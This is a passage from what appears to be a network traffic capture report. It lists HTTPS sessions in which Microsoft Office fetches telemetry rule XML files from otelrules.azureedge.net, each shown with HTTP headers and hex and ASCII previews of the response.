C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:55 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164555Z-r1cf579d7788pwqzhC1EWRrpd8000000061g000000007eh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:55 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:55 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164555Z-r1cf579d778zvkpnhC1EWRv23g000000068g000000000y20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:55 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:55 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:55 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164555Z-r1cf579d778bb9vvhC1EWRs95400000005c0000000007e0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:55 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:57 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164557Z-r1cf579d778d5zkmhC1EWRk6h800000006d00000000028fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:57 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:57 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:57 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164557Z-r1cf579d778x776bhC1EWRdk8000000005u0000000006fg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:57 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:57 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:57 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 83446ce3-101e-0046-0a10-4891b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164557Z-r1cf579d778dfdgnhC1EWRd3w000000005mg0000000076vt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:57 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:57 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:57 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 46868609-f01e-005d-1c48-4913ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164557Z-r1cf579d778qgtz2hC1EWRmgks00000005ug0000000000ru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:57 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:57 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164557Z-r1cf579d778t5c2lhC1EWRce3w00000006fg0000000071s7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:58 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:59 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:59 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164559Z-r1cf579d77867vg8hC1EWR8knc00000005q00000000067uz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:00 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:59 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:59 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 90176581-e01e-0071-6e5b-4908e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164559Z-r1cf579d778lntp7hC1EWR9gg400000005cg0000000023gp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:00 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:59 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:59 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 7fa91f87-401e-0016-714c-4953e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164559Z-r1cf579d778dndrdhC1EWR4b2400000005mg000000001twz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:59 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:00 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164600Z-r1cf579d778w59f9hC1EWRze6w000000060g000000008xp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
